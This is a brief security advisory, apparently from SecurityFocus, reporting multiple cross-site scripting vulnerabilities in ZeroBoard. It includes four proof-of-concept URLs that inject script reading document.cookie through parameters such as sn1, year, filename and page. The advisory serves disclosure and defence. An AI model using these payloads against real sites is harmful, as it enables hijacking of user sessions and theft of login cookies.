source: https://www.securityfocus.com/bid/12596/info

ZeroBoard is reported prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate theft of cookie-based authentication credentials as well as other attacks.

All versions of ZeroBoard are considered to be vulnerable at the moment. 

http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E%
3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/zboard.php?
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert
(document.cookie)%3C/script%3E

http://www.example.com/skin/dir/view_image.php?
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%
3C/script%3E

http://www.example.com/zboard.php?id=link&page=ALBANIAN%
20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E